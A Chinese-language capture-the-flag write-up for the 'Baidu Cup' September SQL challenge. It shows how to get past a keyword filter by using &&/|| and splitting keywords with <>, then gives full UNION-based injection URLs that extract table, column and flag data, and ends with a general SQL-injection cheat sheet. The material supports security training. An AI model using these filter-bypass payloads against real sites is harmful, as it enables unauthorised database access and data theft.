“百度杯”CTF比赛 九月场SQL

题目描述

解题工具;
浏览器:火狐浏览器
工具;火狐浏览器插件HackBar

题目界面;
每个人的url都是不一样的,随机根据系统生成的。


image.png

刚开始输入and 1=1 发现被拦截,截图如下


第一步尝试

接着测试or 1=1 情况是一样的


第二步尝试

我们使用字符&&和||替换and和or


第三步尝试

发现成功绕过
Ok,接下来猜字段长度


第一步尝试

发现order by被拦截
同样注释/**/也会被拦截。尝试用<>把字符隔开。这里需要注意or<>der隔开是不对的,因为or又是一个被拦截的字符
第二步尝试

接下来开始正式注入

在注入的时候select会被拦截,同样我们用<>把字符分开即可


第一步

界面出现2,就在2的位置进行注入
接下来是常规注入,直接贴图。中途遇到被拦截的字符用<>分开即可
查询当前使用的数据库名

http://d31d217bb25c40fda80708104ba4f7ca648078f2d4ca4728.game.ichunqiu.com/index.php?id=1 union se<>lect 1,database(),3
第二步

查询数据表

http://711b1fe08cef432c9a3e49173cf1c0767631d23101a94d23.game.ichunqiu.com/index.php?id=1 union se<>lect 1,table_name,3 from information_schema.tables where table_schema='sqli' 
第三步

查询字段

http://711b1fe08cef432c9a3e49173cf1c0767631d23101a94d23.game.ichunqiu.com/index.php?id=1 union se<>lect 1,columu_name,3 from information_schema.columns where table_schema='sqli' an<>d table_name='info'
第四步

查询数据

http://711b1fe08cef432c9a3e49173cf1c0767631d23101a94d23.game.ichunqiu.com/index.php?id=1 union se<>lect 1,flAg_T5ZNdrm,3 from info
第五步

里面涉及很多sql注入语句:
测试SQL注入
1,判断有无注入点
整型参数判断
三种方式: 直接加',and 1=1,and 1=2
如果1,3运行异常2正常就存在注入
字符型判断
直接加' and '1'='1' and '1'='2'
搜索型:关键字%' and 1=1 and '%'='%'
关键字%' and 1=2 and '%'='%'
若1,3运行异常,2正常就存在注入
即执行语句:select * from user where 1=1 and 1=2
此查询语句中1=1的结果为1,因此此语句的查询结果不为0,这样该用户没有使用正确的用户名和密码也可以登陆成功
2,测试字段数
http://localhost/index.php?id=1 order by 字段数
3,查询数据库信息
database() 当前使用的数据库名
4,查询数据表
http://localhost/index.php?id=1 union select 1,2,table_name from information_schema.tables where table_schema = 数据库名hex值
5,查询字段
http://localhost/index.php?id=1 union select 1,2,column_name from information_schema.columns where table_name = 数据表名hex值
6,查询数据
http://localhost/index.php?id=1 union select 字段名,字段名,字段名 from 数据表
参考1
参考2

你可能感兴趣的:(“百度杯”CTF比赛 九月场SQL)